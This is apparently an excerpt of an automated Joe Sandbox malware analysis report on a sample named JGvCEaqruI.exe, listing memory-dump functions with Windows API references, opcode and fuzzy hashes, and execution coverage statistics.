Instruction Fuzzy Hash: 731156B5D003499FDB20DFAAC845BEEBBF5EF48320F108419E919A7250CB75A941CFA4

Function 07B24AF8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 51threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 07B24B62

Strings

qH|~, xrefs: 07B24B17

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID: ResumeThread
String ID: qH|~
API String ID: 947044025-3094982236
Opcode ID: dddaf14c301007103475ee6bd25bd3497c06b6a58f88afe0e7fe7d787c517603
Instruction ID: a24e39b2481eee69dc1dfb3cfde027c70a45fcf4d3a5e95b89f0f57fa041faa8
Opcode Fuzzy Hash: dddaf14c301007103475ee6bd25bd3497c06b6a58f88afe0e7fe7d787c517603
Instruction Fuzzy Hash: 3E115BB1D003498FDB20DFAAC8457EEFBF9EB88320F248419D519A7650CB759941CB94

Function 07B24B00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 07B24B62

Strings

qH|~, xrefs: 07B24B17

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID: ResumeThread
String ID: qH|~
API String ID: 947044025-3094982236
Opcode ID: 4b279d8807317e1011a975e8f30dbe5d956a8b65ac5eb2fbcdba2a1430969b14
Instruction ID: af464a88b5b54c317dc047cd7d922b07be0848201a22d73804dce42b433e74fa
Opcode Fuzzy Hash: 4b279d8807317e1011a975e8f30dbe5d956a8b65ac5eb2fbcdba2a1430969b14
Instruction Fuzzy Hash: 2D113AB5D003498FDB20DFAAC4457AEFBF5EB88320F248419D519A7650CB79A941CF94

Function 07B27B18 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 07B27B7D

Strings

qH|~, xrefs: 07B27B3A

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID: MessagePost
String ID: qH|~
API String ID: 410705778-3094982236
Opcode ID: 4217b02c27939de339a860e47fe995226168e82654eaf0c268dcef3f7509c951
Instruction ID: e3e571ca54ec4ee8df5c6de68dff7f31e36bc01bbbb84c930243d4f6b31319e9
Opcode Fuzzy Hash: 4217b02c27939de339a860e47fe995226168e82654eaf0c268dcef3f7509c951
Instruction Fuzzy Hash: 0711F5B58003499FDB10DF9AC849BDEBFF8EB58320F108419E518A7750C379A545CFA5

Function 0192B058 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0192B0BE

Strings

qH|~, xrefs: 0192B077

Memory Dump Source

Source File: 00000001.00000002.1280553473.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1920000_JGvCEaqruI.jbxd

Similarity

API ID: HandleModule
String ID: qH|~
API String ID: 4139908857-3094982236
Opcode ID: 1c48731a535bb0241906f5b84905b06933168d8051739748d6debe11167048ce
Instruction ID: 2d179415228a4aa98711d36ab2303aa1a85cb31b615aae6cf28b2938e5bd0e89
Opcode Fuzzy Hash: 1c48731a535bb0241906f5b84905b06933168d8051739748d6debe11167048ce
Instruction Fuzzy Hash: F2110FB5C003498FDB20DF9AC444B9EFBF8EB88320F10842AD929A7614D379A545CFA5

Function 07B25368 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 07B27B7D

Strings

qH|~, xrefs: 07B27B3A

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID: MessagePost
String ID: qH|~
API String ID: 410705778-3094982236
Opcode ID: 215356c1e24a6d3f27f3d99fbaff4c71d76e3184285141c1f127d307e57794d2
Instruction ID: 57af21df2ac1b631e3a3adc4c1ae65683834964c9e5c4ba54aa0e31f96459ecf
Opcode Fuzzy Hash: 215356c1e24a6d3f27f3d99fbaff4c71d76e3184285141c1f127d307e57794d2
Instruction Fuzzy Hash: CD1136B5800349DFDB10DF8AC449BDEBBF8FB48310F108459E918A7210C375A944CFA9

Function 0169D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1280196876.000000000169D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0169D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_169d000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1580d5824060c48a0497c06a739408763f14c59a980cf3f56b01f37030899cd6
Instruction ID: 5d262c043436584bf45b61b7609b28540e3483d5e475c009a85b0f7a15762489
Opcode Fuzzy Hash: 1580d5824060c48a0497c06a739408763f14c59a980cf3f56b01f37030899cd6
Instruction Fuzzy Hash: 2A21C171504240DFDF15DF54D9C0B26BF69FB88328F24C579E9094B256C336D456CBA2

Function 0169D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1280196876.000000000169D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0169D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_169d000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea33741f95b727c7641ebf52f68bef652decc3208ff7557d614fa39846d25c9e
Instruction ID: 72fee376245067c9649a7e16254daaa3cbd5afdc8382dec678adaecea6805c2d
Opcode Fuzzy Hash: ea33741f95b727c7641ebf52f68bef652decc3208ff7557d614fa39846d25c9e
Instruction Fuzzy Hash: A121F171604204DFDF15DF54D9C0B6ABB69FB98724F20C179E90A0B356C336E456CAA2

Function 016AD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1280254189.00000000016AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_16ad000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a31852d1d58d872569ed25576413182df40492277f61067f18564877960faec
Instruction ID: 1ad4d346a11c8df55114807f4dd884eb0257c59393909fa7b17ec3e3df2831a0
Opcode Fuzzy Hash: 0a31852d1d58d872569ed25576413182df40492277f61067f18564877960faec
Instruction Fuzzy Hash: A6210071684200DFDB15DF64D984B16BBA1EB88314F60C56DD84A4B786C336D847CE62

Function 016AD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1280254189.00000000016AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_16ad000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8cead93c47b1c52ee257e96e0af615b67eff00342ea381d2f34ca1343178250
Instruction ID: 233ad7ac7c3db8c5711188f3b958305f88a4e96105d64d126b7d9ee0c418c4c9
Opcode Fuzzy Hash: f8cead93c47b1c52ee257e96e0af615b67eff00342ea381d2f34ca1343178250
Instruction Fuzzy Hash: C9210371604200AFDB05DF94D9C0B25BB61FB84324F60C5ADDA094B752C336D806CE61

Function 016AD006 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1280254189.00000000016AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_16ad000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c9685453b121f7c5a95ddacb3af40da0ec74c611a331676ce11f548b2f69f8d7
Instruction ID: 2151be4b83814f0fe147a66a10a4fb9e2a77d5d8280251ccb9126f55957f2aec
Opcode Fuzzy Hash: c9685453b121f7c5a95ddacb3af40da0ec74c611a331676ce11f548b2f69f8d7
Instruction Fuzzy Hash: B52192755483809FCB03CF54D994B11BF71EB46314F28C5DAD8498F6A7C33A9846CB62

Function 0169D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1280196876.000000000169D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0169D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_169d000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: f767f519946e17c2d1abbc162c6300c2222117d3b455b7313a1693f5d6084e91
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: F411AF76504280DFCF16CF54D9C4B16BF72FB84324F24C6A9D8494B656C336D456CBA1

Function 0169D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1280196876.000000000169D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0169D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_169d000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction ID: 61fc045ab747c7310115e7ddf5b282f95fe17743f1743ecaab0e03d561da4af5
Opcode Fuzzy Hash: 099256442a3ab3004f72329a4e4b6c70090b87d396c4978555b43c732be305a7
Instruction Fuzzy Hash: 2211CD76504240DFCF06CF44D9C0B56BF62FB84724F2482A9D8090B256C33AE456CBA1

Function 016AD1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1280254189.00000000016AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 016AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_16ad000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction ID: 1c593db2156202a466985dbac4439776908682ee31c4755036cbe7e237852037
Opcode Fuzzy Hash: 4ccb17c466d2e34b86bde66ac975e9cbefd8e24c09005379d072ef0b40a0d1c0
Instruction Fuzzy Hash: A011BB75504280DFCB06CF54C9C4B15BBA2FB84324F24C6ADD9494B7A6C33AD80ACF61

Function 0169D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1280196876.000000000169D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0169D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_169d000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ceef9761ab26f278e4efc640336a54860e33e66ee95cb6759cacd16465d7c0a4
Instruction ID: 4b75e4d8a1dbae173cdc48adc5615e361f6a6c5e0903dce815ffa2ca70e32bdf
Opcode Fuzzy Hash: ceef9761ab26f278e4efc640336a54860e33e66ee95cb6759cacd16465d7c0a4
Instruction Fuzzy Hash: 3A01D4311043809BEB205A95CC84B3ABF9CEB41225F04C52AED080F282D3399841CAB2

Function 0169D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1280196876.000000000169D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0169D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_169d000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7adcef759afbb66b89a1996d40104b6ebb470c520268e50ca927c08d66f541e
Instruction ID: db3948c08713eb85b9d4bfeddbf1e10edb33e5a5d9e886395465d9dc8b919427
Opcode Fuzzy Hash: e7adcef759afbb66b89a1996d40104b6ebb470c520268e50ca927c08d66f541e
Instruction Fuzzy Hash: C2F0AF310043809EEB108E19CC88B66FF9CEB41334F18C16AED080E396C3799840CAB1

Non-executed Functions

Function 07B22698 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9f870cc566d871ba5d37951e3d61614bcee4bbdc18926beb01a3a5bc7b5616b
Instruction ID: ddcc6ef48eeaefdf9207b39d2ade5ddfbaf3ff6e47bc4a67d6c991ee6ce007fd
Opcode Fuzzy Hash: b9f870cc566d871ba5d37951e3d61614bcee4bbdc18926beb01a3a5bc7b5616b
Instruction Fuzzy Hash: 05E1EBB4E002198FEB14DFA9C580AAEBBF2FF49314F2481A9D418AB355D7349D42DF61

Function 07B24C88 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fca29081a5e8e20003feeba82b28e4237c465dfafb806435b8fec0f41b8d96d3
Instruction ID: ffd07d289ff0505114b749852b7b9cf5499d47166fcab44c16ff06a408d79009
Opcode Fuzzy Hash: fca29081a5e8e20003feeba82b28e4237c465dfafb806435b8fec0f41b8d96d3
Instruction Fuzzy Hash: 02E1EBB4E002598FEB14DFA9C5809AEBBF2FF89304F248199D418AB355D7319D42DF60

Function 07B22AD0 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3f686b81d538e9593afe43071b19fc833bb20d0b0a93e593f6b80bc58396ed6
Instruction ID: 510669eda065979d2ba30467873b7c6569c818bbe65f3eac9f0065442b2061b0
Opcode Fuzzy Hash: c3f686b81d538e9593afe43071b19fc833bb20d0b0a93e593f6b80bc58396ed6
Instruction Fuzzy Hash: CDE1EAB4E002198FEB14DFA9C580AAEBBF2FF49314F2481A9D418AB355D7359D42DF60

Function 07B242D8 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12c9695abd949c6b5c9b140c6e09c012d19d1a8fbbe229b76b9de1b32fc74b8b
Instruction ID: 7d1d425f6b54d007223b535241835aea187c8d9f352aef6a30811f4d36657a4d
Opcode Fuzzy Hash: 12c9695abd949c6b5c9b140c6e09c012d19d1a8fbbe229b76b9de1b32fc74b8b
Instruction Fuzzy Hash: A5E1DBB4E002598FEB14CFA9C5809AEBBF2FF49304F248199D458AB355D7349D42CF60

Function 07B22260 Relevance: .3, Instructions: 312COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e1fa8c54f6129592884deadd11aab51f3318de03ba5b4c1645723dd12e5828c
Instruction ID: 4883855a099152fd00d39e573eacd654a41c4edaf1396e7d66c3ea9dc805c145
Opcode Fuzzy Hash: 6e1fa8c54f6129592884deadd11aab51f3318de03ba5b4c1645723dd12e5828c
Instruction Fuzzy Hash: B1E1D8B4E012198FEB14CFA9C580AAEBBF2FF49304F248199D418AB356D7349D42DF61

Function 0192D424 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1280553473.0000000001920000.00000040.00000800.00020000.00000000.sdmp, Offset: 01920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1920000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5410e005c7931dd644efeb4b583dd46f5e34e62cef105280fef5dcbd47bb0c9
Instruction ID: 17ad332c2b45690bd224e175ad632ba7a0abef5694b5263a201fcbf14ff898cb
Opcode Fuzzy Hash: f5410e005c7931dd644efeb4b583dd46f5e34e62cef105280fef5dcbd47bb0c9
Instruction Fuzzy Hash: E4A18336E0022A8FCF15DFB4C94099EBBB6FFC5301B25456AE909BB269DB71D905CB40

Function 07B22AC0 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da32c95441f25abb887d4df59d61c428c0341838f61cb62bf22f4e876caf83f6
Instruction ID: a42b69f2a78721dbb65b73576e7c7fb983193e080a744807ffa0b6668315f7f3
Opcode Fuzzy Hash: da32c95441f25abb887d4df59d61c428c0341838f61cb62bf22f4e876caf83f6
Instruction Fuzzy Hash: A1510AB4E012198FEB14CFA9C5805AEFBF6FF89204F2481A9D418AB356D7359D42CF61

Function 07B242D2 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a78390cbdf68d1410d227e8dfb80d449ef7dde7500031b68bbed9e34077d3ec
Instruction ID: f3a3638854b4de7901b70a2c4da013ca1c27016c93a4e8e91dae974f5197378c
Opcode Fuzzy Hash: 9a78390cbdf68d1410d227e8dfb80d449ef7dde7500031b68bbed9e34077d3ec
Instruction Fuzzy Hash: 5C512CB4E002298BEB14CFA9C5815AEFBF2FF89304F2481A9D418A7355D7309D42CFA0

Function 07B22688 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83df95ffb973cac0a17828a478f5402fcf653b039c952eae7acdf230511ad43a
Instruction ID: 76c224f9fb91e76e580652c8352df7a529b727e4972e4ab24d4e10892a671f90
Opcode Fuzzy Hash: 83df95ffb973cac0a17828a478f5402fcf653b039c952eae7acdf230511ad43a
Instruction Fuzzy Hash: CE510CB4E042198BEB14CFA9C5415AEBBF2FF89304F2481A9D418AB356DB349D42CF61

Function 07B26B76 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b1190e51886175aa936759daf2a344134e258b38e570841e0e4a3c9b355e8b1
Instruction ID: c8f20a1a1b9fc8d4259b7116ef5c8cfd5fa2ed0637349ee8cb45890a7d47858a
Opcode Fuzzy Hash: 6b1190e51886175aa936759daf2a344134e258b38e570841e0e4a3c9b355e8b1
Instruction Fuzzy Hash: DCE09BB5D1E154CFD7019A64A4451F5FF78D70F102F0520E7D64DD3512F5304A059B5A

Function 07B26AEC Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eaab18ddbbe8eafdf6b3ebc5470e53794c39d94dcf673c745686d11c7ed80e0a
Instruction ID: 9f792934f79eee2300f7f6c717af808a1ae30f71ac17ee089d298660b5a83f33
Opcode Fuzzy Hash: eaab18ddbbe8eafdf6b3ebc5470e53794c39d94dcf673c745686d11c7ed80e0a
Instruction Fuzzy Hash: 90E039B495A024CBE7108E54E4492F8FBB8EB4F316F0161E5E60EA3211EB304A86DE48

Function 07B2721F Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1285041098.0000000007B20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7b20000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6d8b7e5afa4c274968d68efd8329baebe63bea80fd2f11802a97d89985b1df2c
Instruction ID: c409aa15525961f66803b273a9501256bb0ac23f6d84702c63d38ee75793cef6
Opcode Fuzzy Hash: 6d8b7e5afa4c274968d68efd8329baebe63bea80fd2f11802a97d89985b1df2c
Instruction Fuzzy Hash: 5FD05E56A4F290C5E7024AA8AC010F0FF3DC987061F8E30E3D64ED7163F014811AA24E

Analysis Process: JGvCEaqruI.exePID: 7268, Parent PID: 6336COMMON

Execution Graph

Execution Coverage:	16.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.4%
Total number of Nodes:	87
Total number of Limit Nodes:	0

Executed Functions

Function 05F00B20 Relevance: 1.6, APIs: 1, Instructions: 65
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 05F00B6C

Memory Dump Source

Source File: 00000008.00000002.3753272301.0000000005F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5f00000_JGvCEaqruI.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 67c0196b1b4f7fdd5fc9e968c6261dfc43c2d8d269a3033c57fc263ff37d394e
Instruction ID: f7406e6d483b7ffa5d1195ebde4eab0e483b383f4ee0c2e7b3f7d004c0ee69e1
Opcode Fuzzy Hash: 67c0196b1b4f7fdd5fc9e968c6261dfc43c2d8d269a3033c57fc263ff37d394e
Instruction Fuzzy Hash: 75218970B002148FCB58EB28C458BAE76F7EB88315F6445A9D006E7399DFB99D42CB80

Function 017F5AC0 Relevance: .3, Instructions: 281COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3743365173.00000000017F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_17f0000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34f92c45a305f4eca8617842f0adef8b553f396186b02ff346bca83874f7a61
Instruction ID: c1d726ebd6d61569a831b3a4ddfd73319e566c8f60628e76b92979e5d94a60d6
Opcode Fuzzy Hash: a34f92c45a305f4eca8617842f0adef8b553f396186b02ff346bca83874f7a61
Instruction Fuzzy Hash: FAB11A70E002099FDB24CFA9D88579EFBF2AF88714F14852DD915AB394EB749846CF81

Function 017F6390 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.3743365173.00000000017F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_17f0000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 846e19da0e708901c405253eaf9fcf94857a889c32aa35a788b703f2c615976e
Instruction ID: 76a5a03c56749d584ce3545bbb454ac4fc088618dce7141554f6e0819cf8fd70
Opcode Fuzzy Hash: 846e19da0e708901c405253eaf9fcf94857a889c32aa35a788b703f2c615976e
Instruction Fuzzy Hash: 17B16D70E002099FDB14DFA9D8857AEFBF2AF88314F24852DE914E7394EB749845CB81

Function 017F1750 Relevance: 4.0, Strings: 3, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(q, xrefs: 017F1A2A
Teq, xrefs: 017F1785
d^t, xrefs: 017F179D

Memory Dump Source

Source File: 00000008.00000002.3743365173.00000000017F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_17f0000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID: (q$Teq$d^t
API String ID: 0-854792360
Opcode ID: 5fee037496fac42d762686cb27a75c197ee9bb0938ff5cffda697e6ddb6f8b44
Instruction ID: 66f4ff179bced47076d255df6c374911f299ebe9615826a1c881450ee874b9d3
Opcode Fuzzy Hash: 5fee037496fac42d762686cb27a75c197ee9bb0938ff5cffda697e6ddb6f8b44
Instruction Fuzzy Hash: 7A917D30B002159FDB14DB69C458A6EFBF6FF88710F6481A9E506DB366DB34ED028B91

Function 017F15B8 Relevance: 4.0, Strings: 3, Instructions: 229
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

dLq, xrefs: 017F15F3
d^t, xrefs: 017F179D
Hq, xrefs: 017F16D8

Memory Dump Source

Source File: 00000008.00000002.3743365173.00000000017F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 017F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_17f0000_JGvCEaqruI.jbxd

Similarity

API ID:
String ID: Hq$dLq$d^t
API String ID: 0-4072908266
Opcode ID: 69442a99c0e4113c578b1d8eeba19d2363e156fb2e4dc2387071c28487b5564e
Instruction ID: 1878cbe7ed64f65e5e9e6d368db825ad77e1d5f673e8a7bdaf4cb82584e418e6
Opcode Fuzzy Hash: 69442a99c0e4113c578b1d8eeba19d2363e156fb2e4dc2387071c28487b5564e
Instruction Fuzzy Hash: 44918C30B002148FDB14DF69C458A6EBBF2BF89710F2985A9E506DB3A6CB74DC05CB91

Function 05F05311 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000050), ref: 05F053A3

Strings

4'q, xrefs: 05F0535C

Memory Dump Source

Source File: 00000008.00000002.3753272301.0000000005F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5f00000_JGvCEaqruI.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID: 4'q
API String ID: 2492992576-1807707664
Opcode ID: 6ffa83c7a2bca3d7daf911986a2b9b24c5f6ec31a5078292d7028cb82a26a51c
Instruction ID: 89688f5dfb348f786bb6c82ab74977c51e82261b75871ee72d453e91af2dc30d
Opcode Fuzzy Hash: 6ffa83c7a2bca3d7daf911986a2b9b24c5f6ec31a5078292d7028cb82a26a51c
Instruction Fuzzy Hash: C62175B5C0434ACFCB10CFA9E844AEEBBF5BB48310F14845AD855A7291C7786A04CFA1

Function 05F05320 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000050), ref: 05F053A3

Strings

4'q, xrefs: 05F0535C

Memory Dump Source

Source File: 00000008.00000002.3753272301.0000000005F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 05F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_5f00000_JGvCEaqruI.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID: 4'q
API String ID: 2492992576-1807707664
Opcode ID: 51457ce7d5c1834540d7c7517783a605e14ad177d3f388e8c3eed3207a07e2a6
Instruction ID: 8137b5e48e2028456a17042c2382f0a3c8d88459b52e9e42ef4b288779527380
Opcode Fuzzy Hash: 51457ce7d5c1834540d7c7517783a605e14ad177d3f388e8c3eed3207a07e2a6
Instruction Fuzzy Hash: 932154B5C0034A8FCB10DF9AE8457EEBBF5FB08320F14851AD929A7280C7796904CFA5

Function 017F6DA0 Relevance: 2.7, Strings: 2, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(q, xrefs: 017F6EF4
(q, xrefs: 017F6F20

Memory Dump Source

